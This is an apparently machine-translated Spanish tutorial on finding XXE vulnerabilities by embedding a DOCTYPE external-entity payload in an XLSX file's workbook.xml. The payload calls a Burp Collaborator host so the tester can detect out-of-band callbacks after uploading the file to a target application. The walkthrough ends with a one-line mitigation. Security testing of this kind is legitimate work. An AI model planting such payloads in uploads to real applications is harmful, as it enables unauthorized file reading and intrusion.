La vulnerabilidad de la entidad externa XML (XXE) es que al analizar una estructura de documento XML denominada Definición de tipo de documento (DTD), puede definir sus propias entidades XML. Según el motor de procesamiento XML del lado del servidor y la configuración del entorno, este tipo de vulnerabilidad se puede aprovechar de forma diferente. Comenzando con la lista de directorios en el sistema, la lectura de archivos de aplicación y del sistema, la obtención de una contraseña cifrada del usuario de la aplicación, así como la transferencia de archivos al servidor o la ejecución de comandos del sistema.
El escenario clásico de este tipo de vulnerabilidad supone que estamos ante una petición que contiene en nuestro cuerpo xml a la que añadimos la parte responsable, para las definiciones de nuestra propia entidad. Sin embargo, esta vulnerabilidad también puede producirse al tratar con una aplicación que de alguna manera procesa archivos de Excel. XLSX , Palabra . DOCX o PowerPoint . PPTX. Se lo debemos al hecho de que estos tipos de archivos que son compatibles con OOXML, por lo que simplemente se empaquetan varios archivos. XML.
El escenario de ataque rápido es el siguiente:
- Cree un nuevo documento en blanco . XLSX. Puede utilizar la "Hoja de Google" para este propósito.
2. Open Burp Suite Professional -> Burp -> Burp Collaborator Client. A continuación, haga clic en el botón "Copiar al portapapeles". En mi caso, la dirección del servidor era la siguiente: lpexqn6l2qamcw74mgerllgpzg56tv.burpcollaborator.net.
Alternativamente, si tiene una IP externa, puede usar un servidor HTTP simple en python – "python3 -m http.server 8080".
3. Abra el archivo descargado con 7zip.
3. Edite el archivo "workbook.xml" en el directorio "xl" agregando el siguiente código (por supuesto, reemplazando la dirección del servidor con la suya propia):
<!DOCTYPE root [ <!ENTITY % xxe SYSTEM "http://lpexqn6l2qamcw74mgerllgpzg56tv.burpcollaborator.net/"> %xxe; ]>
NOTA- En una de las aplicaciones que probé, la vulnerabilidad xxe reveló después de editar "[Content_Types].xml", por lo que vale la pena revisar este archivo.
4. Guarda los cambios y carga el archivo en la aplicación que estás probando.
5. Ahora compruebe el cliente colaborador para cualquier solicitud:
6. Disfrute de la 🙂 – que acaba de confirmar xxe vulnerabilidad en la aplicación probada y se puede proceder a promover su uso.
Una característica de seguridad común contra XXE es deshabilitar completamente la carga de entidades externas en un analizador XML.